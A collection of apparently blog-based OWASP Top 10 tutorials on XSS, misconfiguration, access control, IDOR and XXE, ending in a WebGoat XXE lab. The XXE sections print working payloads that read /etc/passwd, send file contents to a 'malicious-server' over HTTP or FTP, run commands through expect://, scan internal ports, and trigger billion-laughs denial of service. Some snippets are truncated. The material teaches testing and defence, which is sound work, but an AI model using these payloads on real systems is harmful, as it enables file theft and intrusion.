The basic idea to prevent XSS is to tell the Web Browser how to differentiate between HTML and the data. You do that by properly encoding the data. For example, you can perform HTML entity encoding to transform the malicious user input <img> into <img>. When the browser sees that encoded string, it doesn’t consider an image tag. 

Of course, you need to take into consideration each injection context. That’s why you should use an encoding library. For example, OWASP Encoder allows you to properly encode user inputs to prevent XSS in Java.

XSS attack examples

Let’s start with a reflected XSS. This report demonstrates how you can redirect the victim to an arbitrary location. 

In this report, the hacker stores a payload in the name of a resource. When the victim loads it, the Stored XSS triggers.

This report is an example of a DOM XSS. I chose it because Hackerone uses Content Security Policy (CSP), which makes it hard to exploit XSS. However, it is not impossible.

Finally, this report demonstrates how you should never trust a WAF to totally protect you against attackers. While it prevents the majority of them, determined hackers will always find a way to bypass XSS filters.

XSS references and cheat sheets

XSS is a big topic and I can’t include everything in detail in one post. I’ve tried to make it as exhaustive as I can. So, here is a list of references which you can explore when you want to dig deeper into Cross-Site Scripting.

  • XSS payloads in GitHub repositories: There are many repositories for this purpose, this one is exhaustive. If you want a text file to use in your fuzzing, you can use this one.
  • Britelogic’s webGun payload builder: An interactive XSS payload builder to help you find the payload which fits your needs.
  • Portswigger’s XSS cheat sheet: Provides both interactive and PDF resources which help you find the best payload to use for a specific injection context. It will help you to find a filter bypass as well.
  • OWASP XSS prevention cheat sheet: An in-depth overview of the different prevention rules to mitigate XSS.

That was it! I hope you enjoyed reading this article and learned something new. If you did, share the knowledge with your network! Until then, stay curious, learn new things and go find some bugs.

Here is your XSS video tutorial.

OWASP Security misconfiguration explained

Security misconfiguration

Hello dear readers and welcome to this new OWASP Top 10 vulnerabilities episode. Today’s article is about Security misconfiguration. You will learn one of the most impactful vulnerabilities which some bug bounty hunters specialize in. Yet, many security testers overlook it. We will explore the following points: 

  • Define Security misconfiguration: First, we need to start from a common base.
  • Some flaws related to Security misconfiguration: We will discover how a security researcher got hacked, and how a bug bounty hunter accessed multiple admin portals.
  • Real-world examples: Here, we will see breaches, reports of bug bounty hunters. But most importantly, we will explore a great stream talking about how a security researcher found more than 90K by exploiting security misconfigurations.
  • Security misconfiguration impact.
  • How to prevent it.

I will keep enriching your mind with similar content, so make sure you don’t miss any chance and subscribe to our newsletter. 

What is Security misconfiguration?

You might find the name a bit vague, that’s because Security misconfiguration can be found in many contexts. But in general, Security misconfiguration happens when the responsible party fails to follow best practices when configuring an asset. This asset can be an operating system, a web server, software running on a machine, etc.
Security misconfigurations don’t affect web assets only. Any component which requires a configuration is subject to this vulnerability. This means that network devices, hardware, email services, etc. can suffer from this vulnerability.

Security misconfiguration flaws

In general, bad practices can lead to the following Security misconfiguration flaws. This is not a complete list, but it is enough to give you a clear idea.

Debugging enabled

Many companies have separate environments. They enable debugging in a development environment to help them in the debugging process. However, some companies forget to disable it in the production environment. Therefore, an attacker can trigger verbose errors containing internal data.

Incorrect permissions

Sometimes, developers forget to properly set permissions on publicly exposed directories, admin consoles or dashboards. Therefore, attackers can access unauthorized files. This might be confused with the Broken Access Control vulnerability, but the root cause happens to be a misconfiguration issue, before even reaching any web application feature. You can have a look at Patrik’s blog post where he stole the htpasswd file and cracked the administrative password. Then, he reused it on many publicly accessible assets.

Default credentials

This is probably one of the most trivial issues, but it often happens due to security misconfiguration. Default credentials ship with a lot of solutions. You find them in Web applications, Network devices and in anything which requires authentication. Sadly, they don’t get changed after installation, opening the door wide open to attackers. We will explore a great example shortly.

Cloud misconfiguration

Cloud has offered many advantages to companies. Nowadays, they can spin up a whole datacenter in a matter of minutes, without worrying about the lack of resources. However, with freedom comes responsibility. In fact, companies must adhere to the shared responsibility model. The following chart from AWS shows how the customer is responsible for the configuration of the resources deployed in the Cloud.

AWS shared responsibility model: Security misconfiguration in the Cloud  is the responsibility of the customer.
AWS shared responsibility model: Security misconfiguration in the Cloud is the responsibility of the customer.

Sadly, we see more and more breaches as a result of Security misconfiguration in the Cloud. For example, Amazon S3 misconfigurations alone results in more than 400k Google results, including many security breaches of well-known companies.

Network and security devices misconfiguration

Network engineers might relax network device configurations, especially when troubleshooting a network problem. However, they tend to forget about it afterwards. Therefore, an attacker can potentially access an internal asset, perform reverse shells without restrictions, etc. Also, security solutions like IDS, IPS or SIEM might be misconfigured to open the door for security vulnerabilities. In this article, a hosting provider’s support team forgot a bind shell during an intervention, which allowed to deface a security researcher’s blog.

In the following section, we will explore some real world Security misconfiguration attacks. I’m so excited to show you how this vulnerability is rocking it in the wild.

Security misconfiguration examples in the real-world

Let’s start with this awesome Nahamsec’s stream. th3g3nt3lman explains how he earned a generous bounty. In fact, he found a security misconfiguration in the Single Sign-On (SSO) redirection, which allowed him to reach a password protected page. Finally, he logged in using default credentials.

The problem of Security misconfigurations gets even worse when databases suffer from it. In this great article, we learn how MongoDB prior to version 2.6.0 binds to all interfaces, which makes it publicly accessible. 

In this report, the bug bounty hunter found default admin RabbitMQ console credentials, which allowed him to access all the queues and messages containing sensitive data. Also, he had the right to create, edit and delete queues, etc.

Security misconfiguration impact

Generally, security misconfiguration leads to Sensitive data exposure. You’ve seen that in the previous sections. Therefore, this opens the door to impact Confidentiality, Integrity and Availability, depending on the context.

Security misconfiguration remediation

Because Security misconfiguration comes from a human error, it’s hard to prevent it. However, it’s not impossible. You can implement the following security measures:

Automate as much as possible

Because humans are generally the main cause of security misconfigurations, they should not be involved in repetitive tasks. Nowadays, automation covers many areas. From development to deployment, you will find solutions and methodologies which fit your needs. If you don’t use CI/CD, you should start using it.

Disable access to administration panels and consoles

Have a deployment policy which clearly states to disable administration portals access to only allowed parties. Also, make sure that this policy is respected using regular audits.

Disable debugging

When deploying to the production environment, pay special attention to the configuration for any enabled debugging. They should all disable it.

Always change default credentials

The first step after installing a software is to change the default credentials. Make this a mandatory practice inside your company.

Disable directory listing and verify directories’ permissions

Make sure to check that your deployed application doesn’t allow directory listing. Besides, double-check that you properly set permissions on your folders and files.

For more detailed prevention measures, visit the references section at the end of the OWASP Security Misconfiguration article.

That was it! I hope you enjoyed reading this article and learned something new. Subscribe to the Newsletter and share this knowledge with your network. Until then, stay curious, learn new things and go find some bugs.

As usual, here is your video:

OWASP Broken access control explained

Hello ethical hackers, welcome to a new chapter of the OWASP Top 10 vulnerabilities series. In this article, we will explore OWASP Broken Access Control. You will learn the following:

  • What is Broken Access Control?
  • What are access control vulnerabilities, and how to exploit them?
  • Attacks in the wild
  • What is the impact of Broken Access Control?
  • How to prevent it

I will keep enriching your mind with knowledge and skills with similar content, so make sure you don’t miss any chance and subscribe to our newsletter. 

What is Broken Access Control?

Let’s first understand the difference between Broken Authentication and Broken Access Control. There is a key difference to properly distinguish between them. The best way to explain that would be a simple example.

Suppose you have a penetration testing assignment. Quickly, you found an exposed administration dashboard without authentication. In this case, it is clearly an authentication issue. When the developer patches the authentication vulnerability, you log in as a normal user and find that you still have access to the dashboard. In this case, the developer forgot to validate if the user is authorized to access the admin dashboard.

Therefore, this vulnerability happens when the application fails to properly validate authorization after the user has been authenticated.

Broken Access Control vulnerabilities

Based on the definition above, there are many vulnerabilities under the Access Control category. This section covers some of them.

IDOR: Insecure Direct Object Reference

This vulnerability happens when the application doesn’t properly validate access to resources through IDs. For example, an application shows a purchase order to the customer using the /orders/12456 endpoint. However, the user whose order id is 12456 can also access other orders by simply changing the order id. This is the simplest scenario, but there are many other techniques to exploit an IDOR vulnerability.

CSRF: Client-Side Request Forgery

This is another vulnerability in the Broken Access Control category. In short, CSRF targets victim users, hence the term Client-Side, to unwillingly send a request from their own Web Browsers.

Generally, CSRF targets requests which change the state. For example, changing users’ data, updating an order, etc. When the application doesn’t verify if the user has forged the request, the attacker would impersonate the victim for that request.

CORS: Cross-Origin Resource Sharing misconfiguration

CORS allows making requests cross-origin, bypassing the Same Origin Policy (SOP). When there is a CORS misconfiguration, an attacker can impersonate a victim. In general, a CORS misconfiguration vulnerability doesn’t only perform state-changing actions, like CSRF does, but it also allows the attacker to read data. Moreover, when CORS misconfiguration chains with a CSRF vulnerability, an attacker can combine multiple requests to achieve highly impactful damage.

Broken Access Control attacks

There are a lot of examples which illustrate how prevalent this class of vulnerabilities is.

Firstly, let’s explore this Broken Access Control attack example. The bug bounty hunter demonstrates how he could take over any authenticated victim’s account using a misconfigured CORS. His exploit reads data from the user’ profile and then updates it. 

Then, in this Broken Access Control exploit, the attacker targets the profile update feature with a CSRF vulnerability. Therefore, he could change an authenticated victim’s email and take over his account.

Finally, this last report allowed an attacker to access the balances of unauthorized users. Notice how Starbucks clearly states that this issue targets authenticated but not authorized users.

OWASP Broken Access Control: View unauthorized balances using an IDOR vulnerability
OWASP Broken Access Control: View unauthorized balances using an IDOR vulnerability

Broken Access Control impact

If you’ve been following from the beginning of this article, you should have an idea of the impact of this vulnerability. In fact, they can target Confidentiality, Integrity and Availability, depending on the context. For example, an attacker can read sensitive data using an IDOR vulnerability or a CORS misconfiguration, which affects confidentiality. Besides, editing data of other users using a CSRF vulnerability would lead to an Integrity compromise.

Broken Access Control remediation

Preventing such a vulnerability can be complex because there are a lot of scenarios which can lead to it. Besides, while modern Frameworks protect against some vulnerabilities, like CSRF, they can’t protect against other vulnerabilities like IDOR. 

However, there general guidelines that I can advise you to respect:

  • Learn what security protections your Web Framework offers and enable them.
  • Protect all your endpoints using a role-based model which you should define once. That way, you reduce inconsistencies in your overall access control policy.
  • Verify access to resources using IDs should always implement a verification step to make sure that the user has proper authorization.
  • Deny access to your resources by default, unless you want them public.

For detailed information, OWASP explains some Access Control permission models and provides prevention measures in the OWASP Broken Access Control article.

That’s it! If you enjoyed learning with this article, make sure to share it with your network and subscribe to the newsletter to have fresh content delivered to you once it’s available. Until then, stay curious, learn new things and go find some bugs!

IDOR explained – OWASP Top 10 vulnerabilities

Hello ethical hackers and welcome to this new episode of the OWASP Top 10 vulnerabilities series. In this blog post, you will learn all aspects of the IDOR vulnerability. You will start with the basics and gradually build your knowledge. When you finish reading this article, you will have a solid understanding of IDOR. Besides, you will be ready to put your knowledge into practice in the IDOR tutorial.

I will keep enriching your mind with knowledge and skills through similar upcoming content, so make sure you don’t miss any chance and subscribe to our newsletter.

What is IDOR?

IDOR stands for Insecure Direct Object Reference. Let me break that down for you. I will make key concepts in bold so that it’s easier for you to connect the dots and understand IDOR meaning.

Typically, every application has to manipulate resources. For instance, an e-commerce website will manipulate products, users, baskets, etc. Each resource instance will be called an object, and it is generally referenced by an ID. For example, user A will have ID1 and user B will have ID2. IDOR vulnerability targets a flaw in the way the application references these objects. In other words, any insecure or lack of validation can lead to a malicious user directly accessing unauthorized resources.

I tried to put all the keywords into place. Hopefully, this makes sense for you now. If it is not clear, don’t worry. The following sections will make it crystal clear.

IDOR falls into the OWASP Broken Access Control vulnerability category. This means that you will find most of the IDOR vulnerabilities after you authenticate to the application. However, it’s not always the case.

IDOR attack using guessable IDs

The most basic IDOR scenario happens when the application references objects using easy to guess IDs. For example, they can be incremental integers, they can contain predictable words like the email of the user, or a folder name. Sometimes, they can be poorly encoded. For instance, a base64 encoded incremental Integer, or a profile image name hash reference.

Suppose that an application lets you access your data on the following endpoint:

GET /api/users/78963

In this simple scenario, all you have to do is substitute your ID, which is 78963, with another guessed value.

If the ID is a file name, try /etc/passwd. If it is an Integer, try looping through a range of them.

In the Insecure Direct Object Reference tutorial, you will practice these kinds of attacks.

IDOR attack using IDOR with GUIDs

Sometimes, the application uses IDs which are hard or even impossible to guess. In this case, it is most likely to be a Globally Unique Identifier (GUID). You can also find it under the name of Universally Unique Identifier (UUID). To continue on the example we gave earlier, the endpoint might look like the following:

GET /api/users/b10b413c-6b52-4b10-98c3-b74d19c4e0f6

In this case, you can perform more enumeration on the application. In other words, try to discover as many features as you can. You will likely find endpoints which return a list of objects, each one referenced using a publicly available GUID. For example, the user public profile might return its GUID.

If UUIDs are not publicly available, you can still test for the IDOR vulnerability. Although the impact might be lower, I’ve seen many instances where the issue has been accepted by the client as valid. Moreover, if there is a CSRF issue or a CORS misconfiguration, you can exfiltrate UUIDs and forge your malicious requests with ease.

IDOR in REST applications

In most modern applications, you will deal with REST APIs, which follow a simple naming convention. I will explain key points about REST APIs, which would help you understand how to test for IDOR. You can learn more about the REST convention, but I will explain what you need for a successful IDOR exploit.

With that said, this doesn’t mean that you won’t find insecure direct object reference vulnerabilities in other Web Service styles like SOAP. Whenever you see a feature working with an object reference, always try testing for IDOR.

REST HTTP methods

You can also call them HTTP verbs. These define the operation to execute on the API. In general, the GET method allows you to read data, the POST will either create or update a resource, the PUT and PATCH verbs update data and DELETE will delete your referenced resource(s).

REST convention

REST applications follow a naming convention which makes it easy for you to uncover hidden IDOR vulnerabilities. 

For the sake of simplicity, let’s say an application manages users using incremental Integers. Through your usual enumeration, you found this endpoint which returns your profile data:

GET /api/profile

If it is a RESTful API, you can test many things!

Firstly, try to append an ID to the endpoint. You might stumble upon the administrator or the owner using small integers.

GET /api/profile/1

Then, you can test the update of a user.

PUT /api/profile/1
Host: vulnerable
Content-Type: application/json

{"email": "eve@evil.com"}

You can also test reading all the profiles

GET /api/profiles

Finally, you can test creating a new user.

POST /api/profile
Host: vulnerable
Content-Type: application/json

{“email”: “eve@evil.com”, “password”: “123”}

Of course, things are not so simple in real life. However, the methodology of testing for IDOR vulnerabilities still applies. We will explore more realistic examples in the IDOR tutorial.

IDOR and mass-assignment vulnerabilities

Sometimes, when you create a new resource, you get back its ID. However, when you update it, the application doesn’t include it in the POST data. For instance, suppose an application manages a to-do list. The following request creates a new one:

POST /api/todos
Host: vulnerable
Content-Type: application/json


Then, you get the following response: {"id": 123, "name":"mytodo"}

However, when you update it, the request doesn’t reference the ID in the POST data.

PUT /api/todos/123
Host: vulnerable
Content-Type: application/json


You might be tempted to change the ID 123 in the request endpoint, but the application checks if you have the right to update it.

This is where mass-assignment comes into play. If the application updates all attributes specified in the POST data, you can send the following request:

PUT /api/todos/123
Host: vulnerable
Content-Type: application/json


Therefore, you bypass the check and the to-do list with ID 1 will be updated!

A special case of this is when the object you are storing references another object. In his tweet, Jobert explains how referencing a non-existing child ID can result in disclosing data of future objects.

In the next section, I will show you some IDOR real life examples.

IDOR attack examples

Let’s start with this simple IDOR vulnerability PoC to show you how easy it is to find this vulnerability in the wild. In this case, all the hacker had to do was to loop through the order numbers, which are incremental integers. This led to disclosing arbitrary users’ order information. Notice how the endpoint follows the REST naming convention /order/ORDER-ID

Then, there is this IDOR hackerone report where the hacker can update a resource using the id, which is a simple integer. Note the hacker’s methodology, we will come back to this in the following section.

Finally, this IDOR exploit is quite interesting. In fact, the hacker decodes a base64 encoded ID and finds that the team ID is guessable. He then references new teams by changing the ID and encoding it in base64. 

Insecure direct object reference impact

IDOR impact varies depending on the context. Firstly, it can lead to confidentiality compromise, like sensitive information disclosure. For instance, as you saw in the first IDOR Hackerone report, orders of arbitrary users have been leaked. Secondly, IDOR can allow an attacker to edit unauthorized resources as you discovered in the second IDOR attack example. Finally, Insecure direct object reference can impact availability. For example, an attacker can abuse a feature which deletes uploads to delete a file required by the system, which will lead to a server crash.

How to test for IDOR vulnerability? IDOR methodology and tools

Insecure direct object reference vulnerabilities are easy to find. However, some of them may go under your testing radar if your tests are superficial. Besides, you will get many duplicates if you are a bug bounty hunter.

To maximize your chance of finding hidden IDOR vulnerabilities, here is a methodology you can follow.

  1. Register two accounts for each role the application supports. This will help you test lateral access control measures and privilege escalation.
  2. Discover as many features as you can, preferably with the role with the highest privilege. If the application provides paid membership, try to get test accounts or purchase it.
  3. Collect all the endpoints found and try to find a naming pattern. Then, guess new endpoint names based on the pattern you discovered.

Test for all the endpoints against all the roles you’ve registered earlier. You can manually do that if the application is small and the roles don’t go beyond two. In the opposite case, you’ll need a tool to assist you. In Burp Suite, you can use AuthMatrix, Auto-Repeater or Authorize plugins.

Insecure direct object reference prevention

Insecure direct object reference remediation requires developers to manually define access control measures on each endpoint. Because of this, it is hard to cover all the features. In fact, I don’t remember a single application which passed my IDOR testing. However, the following developer habits might reduce the attack surface and effectively allow for better IDOR mitigation:

  • As a developer or tester, make sure to write integration tests which cover IDOR use cases.
  • For DevOps engineers, make sure you set up a CI/CD pipeline which includes all automated tests.
  •  Use GUIDs which are hard to guess. However, this doesn’t help with IDOR fix by itself. 

You can learn more on how to prevent IDOR using the insecure direct object reference OWASP cheat sheet.

That’s it! You’re now ready for the hands-on IDOR tutorial. If you enjoyed learning with this article, make sure to share it with your network and subscribe to the newsletter to have fresh content delivered to you once it’s available. Until then, stay curious, learn new things and go find some bugs!

XXE explained – OWASP Top 10 vulnerabilities

Welcome to this new episode of the OWASP Top 10 vulnerabilities series. Today, you will learn everything related to XXE. This blog post will explain the theory with some examples. By the end, you will be ready to tackle XXE in practice.

Don’t forget to subscribe the Friday newsletter to kickstart your

Some key XXE basic concepts

Before understanding XXE, you need to know some key concepts which will help you properly understand the XXE attack. If you already know what is XML, DTD, XML Entities, parameter entities and XML parsers, feel free to skip this section.

What is XML?

XML stands for Extensible Markup Language. It defines how a document should be structured for data exchange. The following is an example XML document.

<bio>I love cats</bio>

XML is used to exchange data between systems. For example, when you subscribe to an RSS feed, your client software consumes XML documents containing the News and displays them in a feed. Another example is SOAP, which uses XML to exchange data in web services.

XML Parsers

For an application to manipulate XML documents, it uses an XML parser, which converts the text representation, sent over the network, into an XML DOM (Document Object Model) ready to be consumed by the application.

What is a DTD?

Sometimes, when exchanging XML documents, developers need to enforce the data elements, attributes and value types, etc. This can be done using a document type definition (DTD). This will come handy when exploiting XXE. For example, the XML document mentioned above can optionally include a DTD as follows:

<?xml version="1.0"?>
<!DOCTYPE account [
<!ELEMENT account (name,email,age,bio)>
<!ELEMENT email (#PCDATA)>
<bio>I love cats</bio>

In this DTD, we enforce that the XML document should contain an account element, which includes a name, email, age and bio fields of type string. Since this DTD is included within the XML document itself, it is called an internal DTD. XML supports also external DTDs, or both.

What is an XML Entity?

XML Entities provide a way to represent data within an XML document. Think of it as a variable holding your data, which you can reference in many places. They are defined inside a DTD. The syntax is as follows:

<!ENTITY entity-name "entity-value">

When you want to reference data from other resources, or include entities from an external DTD, you use XML External Entities. The syntax is slightly different.

<!ENTITY entity-name SYSTEM "/uri/to/the/dtd/or/resource">

Then, you use the syntax &entity-name; to include your entity inside the XML document.

What is an XML Parameter Entity?

Sometimes, XML external entities cannot be used for reasons we will explore shortly. In this case, you can use Parameter Entities. They are special entities which can be referenced inside a DTD. The syntax is:

<!ENTITY % param-entity-name "param-entity-value" >

You can also use parameter entities to fetch a URI

<!ENTITY % param-entity-name SYSTEM "URI" >

What is XXE injection vulnerability?

Now that you know what does XXE mean, how can we use it to achieve an injection?

Do you remember, from the Injection vulnerability, when we explained why trusted user input is dangerous? Well, XML injection is no different. In fact, XXE injection happens when an application trusts user input in an XML document. This is a typical scenario of the attack:

  1. A feature in the application expects an XML to carry comments. The XML document looks like this:
<?xml version = "1.0" encoding = "UTF-8" ?>
      <content>Great article!</content>

Sometimes, even if the application accepts JSON data, you can still try changing the Content-Type HTTP Header from application/json to application/xml. See this in our XXE tutorial. For now, let’s suppose that the application expects XML. 

  1. A malicious user sends the following XML input
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY myentity SYSTEM "file:///etc/passwd"> ]>
  1. The application parses the malicious input using the XML Parser.
  2. The content of /etc/passwd gets stored as the comment of the user eve.
  3. The application renders the list of comments, which discloses the server’s /etc/passwd file. 
  4. If we inject a non-existing file, say file:///etc/passwdnotexistent, the server returns an error stating that the file /etc/passwdnotexistent doesn’t exist.

In the scenario we’ve just described, the server returns direct feedback to the user. You can see this in action in this hands-on tutorial. However, it’s not always the case. XXE injections, like any Injection vulnerability, can also be blind.

What is Blind XXE?

When the server doesn’t return direct feedback to the user upon an XML injection, we call it a blind XXE vulnerability. You may wonder how we would exploit it if there is no feedback? Well, the same concept we learned in the Injection vulnerability can be applied here: Abusing the interpreter to make a call to us.

In the following section, we will explore the different ways we can use to exploit a blind XXE.

How to detect a Blind XXE vulnerability?

The easiest way to detect a Blind XXE is to use a URL pointing to our server in the XML external entity. You can inject the following DTD file and wait for a ping on your malicious server:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://malicious-server.com/poc"> ]> 

If HTTP traffic is allowed, the vulnerable server will request http://malicious-server.com/poc, which you can see in your malicious server’s logs. See this in action on this hands-on XXE tutorial.

Note: Sometimes, even if there is a Blind XXE vulnerability and the HTTP traffic is allowed outbound, you will not receive a ping from the vulnerable server. In this case, you can use parameter entities instead of external entities. You might get lucky if XML external entities are blocked. This is especially useful when you don’t have an XML field to inject into.

How to exploit a Blind XXE?

Once you validate it, you can start testing for the XXE vulnerability. There are many scenarios, depending on the situation, but they all fall into the out-of-band category.

Exfiltrate internal files using out-of-band HTTP callbacks

Blind XXE vulnerability allows you to read internal files on the remote vulnerable host. To do that, you send a malicious XML document containing the following DTD:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://malicious-server/malicious.dtd"> %xxe;]>
Before that, you should have the following malicious.dtd file on your malicious-server
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM 'http://malicious-server/?content=%file;'>">

Notice that we are defining the entity out inside the entity bar. This is possible because you can use nested entities in external DTDs, which is useful when you don’t have an XML field to reference your external entity within.

This is how the XXE attack workflow will go:

  1. The vulnerable server will receive your malicious XML document and evaluate it using the XML parser.
  2. The XML parser will fetch your malicious DTD file from your malicious server.
  3. The vulnerable server will fetch the content of its /etc/passwd file and put it as the value of the parameter content.
  4. The vulnerable server will send a request to your malicious server
  5. You will get the content of the vulnerable server’s /etc/passwd file in the content parameter.

Note: Sometimes, you can’t retrieve multi-line files because it doesn’t result in a valid URL. Therefore, you can use an FTP server to receive incoming requests.

Exfiltrate internal files using a malicious FTP server

Exploiting a Blind XXE using FTP involves setting up an FTP server and pointing to it inside your malicious dtd file, which will look like this:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM ftp://malicious-ftp-server/%file;'>">

Note that the only difference is that you use ftp:// instead of http://

You can easily set up an FTP server using xxeserv. If you don’t have a publicly accessible server, you can use ngrok to expose a local VM to the internet.

Exploit Blind XXE without an external DTD

All the scenarios we described so far require you to host a malicious DTD file on your server. However, what to do if there is a firewall denying all egress traffic?

In his write up, Arseniy Sharoglazov introduced a new technique. Basically, the idea is to reuse an already existing DTD and redefine a parameter entity inside it. Why not just including the external DTD inside the internal one, you might ask? Well, in XML, you can’t use nested entities in internal DTDs.

Exploit XXE with SVG files

File uploads can be vulnerable to XXE if the application parses XML files. A typical file type which uses XML is SVG. You can upload the following SVG profile picture to achieve XXE.

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg height="30" width="200">
  <text x="0" y="15" fill="red">&xxe;</text>

Exploit XXE using docx and excel files

When an application allows you to upload office documents, like docx or excel files, the first thing you have to test is XXE injection attack. In fact, office documents are simply XML based files archived into one file. You should watch this awesome talk which details how to exploit XXE using file uploads. The speaker, Willis Vandevanter, also released the oxml_xxe tool to help security researchers and ethical hackers test for XXE using file uploads for many file types.

XXE impact

You can do more than just exfiltrating internal files. Depending on the context, an XXE vulnerability can lead to many outcomes.


Because you can specify URIs in the XML entity, you can use the XXE vulnerability to reach internal assets. For example, before the introduction of IMDSv2, an attacker could easily retrieve Amazon EC2 instance metadata containing sensitive data.


In PHP applications, you can use the expect:// wrapper to run arbitrary commands on the server. For example, in the case of an error-based XXE, you can use the following DTD to run the id command on the vulnerable server:

<!DOCTYPE foo [<!ENTITY myentity SYSTEM "expect://id"> ]>

Then, reference myentity in your XML field.

There are some limitations when it comes to running arbitrary commands because the XML parser evaluates the URI you are using and finds that is is invalid, but you can always find a way to bypass them. Besides, if you can chain an SSRF to an XXE, you can use the Gopher protocol to achieve a Remote Code Execution. This awesome article will give you many tips on how to escalate your XXE to RCE.

XXE to DoS

Sometimes, the server blocks external and parameter entities. Therefore, you can’t read internal files, or perform SSRF, etc. However, you can achieve a Denial Of Service. In fact, you can leverage XML entities to push the parser to load a large number of entities. The following DTD leads to the billion laughs attack using XXE. In fact, it will load a billion times the word laugh, causing a Denial Of Service.

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "laugh">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

XXE injection attacks in the real-world

There are so many real-world XXE injection attacks. However, I will list three here.

Firstly, in this advisory, Aon’s Cyber Solutions discovered an XXE vulnerability which allowed accessing internal files due to a misconfiguration in RealObjects PDFreactior before 10.1.10722.

Then, in this report, the bug bounty hunter demonstrates a Denial of Service condition due to an XML injection using the billion laughs attack.

Finally, this report shows how the bug bounty hunter exploited an Error-Based XXE to retrieve the /etc/passwd file.

How to mitigate XXE?

If you’ve been reading from the beginning, you should come up with defense methods against XML injection on your own. Since XXE injection vulnerability relies on DTDs, the best thing you can do to achieve a proper XML injection remediation is to disable DTDs altogether. However, this is not always possible because the application needs to use DTDs. In this case, disable external DTDs and XML External Entities. The following OWASP XXE prevention Cheat Sheet gives you all the details you need to prevent XXE on XML parsers for many programming languages.

That’s it! I hope you enjoyed learning XXE. Now, you can practice what you’ve learned in this hands-on XXE tutorial. And don’t forget to subscribe to the Friday newsletter below to receive updates about new content.

XXE tutorial in practice – OWASP Top 10 training

XXE tutorial

Hello and welcome to this OWASP Top 10 training series. Today, you will practice XXE injection on OWASP WebGoat. By the end of this XXE tutorial, you will achieve the following goals:

  • Exploit XXE to Read internal files from the vulnerable server.
  • Pivot from XXE to SSRF
  • Exploit a Blind XXE
  • Perform the Billion laughs attack

If you don’t know what XXE is, I prepared an in-depth XXE article about it.

XXE tutorial to read internal files

In this challenge, we have a comment feature which uses XML to carry the user input. 

  1. Login to your WebGoat instance, and go to the third challenge in the XXE menu
WebGoat Simple XXE challenge
WebGoat Simple XXE challenge
  1. Configure your browser to proxy HTTP requests through OWASP Zap or Burp Suite. Then, send a comment. You should see a POST request in your Web Proxy, with XML as POST data.
Potential XXE in the XML POST data
Potential XXE in the XML POST data
  1. Based on the explanations we provided in the XXE vulnerability theory, we will use the following XML POST data to read the secret.txt file from the remote server.
<?xml version="1.0"?>
<!DOCTYPE author [
<!ENTITY xxe SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
  1. Upon sending the malicious request above, we can see that the content of the secret file WebGoat 8.0 rocks... (vrSjRdhjst) shows up in the comments list.
XXE exploitation to read internal files


Because we can use almost arbitrary URIs during an XXE attack, instead of using file://, we will use http:// to enumerate internal ports running on the server.

  1. Repeat the previous exercise.
  2. Instead of the previous POST data, use the following one:
<?xml version="1.0"?><!DOCTYPE author [
  <!ENTITY xxe SYSTEM "http://localhost:22">
  1. Note that we are targeting the port 22, typically used for SSH.
  2. We receive a reply which clearly states that there is no service running on port 22.
Connection Refused indicates that the port is not accessible
Connection Refused indicates that the port is not accessible
  1. We can easily automate the process of discovering internal ports using OWASP ZAP’s fuzzer or BurpSuite’s Repeater. 

Note that you can also discover neighbor IP addresses, not just ports.

Blind XXE using an external DTD

As we explained in the XXE vulnerability theory blog post, you don’t always receive feedback from the application. We were just lucky that our comment input gets listed in the comments list area. If a moderator was verifying incoming reports, chances are that we wouldn’t have our malicious comment listed. This is where Blind XXE comes into play.

  1. Firstly, let’s prepare an external DTD file to host our callback and internal file to read. On WebWolf, log in using your WebGoat credentials and go to the Files tab. 
  2. Upload the following file while substituting webwolf-instance with your WebWolf IP address.
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM 'http://webwolf-instance:9090/landing/xxe?content=%file;'>">
  1. Go to the seventh XXE challenge
  2. Submit a comment and capture the request in your Web Proxy like we did in the previous challenges.
  3. Use the following XML POST data. Note that {username} and {filename} should match your WebGoat username and external dtd file name respectively.
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://webwolf-instance:9090/files/{username}/{filename}"> %xxe;]>
<comment>  <text>no need to inject here</text></comment>
  1. When you send the request, go to the Incoming Requests tab on your WebWolf instance.
  2. You should get a callback in your WebWolf instance like the one below, with the content of the secret file.
Blind XXE successfully exploited using an external DTD
Blind XXE successfully exploited using an external DTD

XXE to DoS

XXE can lead to Denial of Service. In this example, let’s perform XXE billion laughs attack and see what happens.

  1. Go to the third XXE challenge and repeat the steps we did on our first section.
  2. Use the following payload to inject the word laugh a billion times in a comment
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "laugh">
 <!ELEMENT lolz (#PCDATA)>
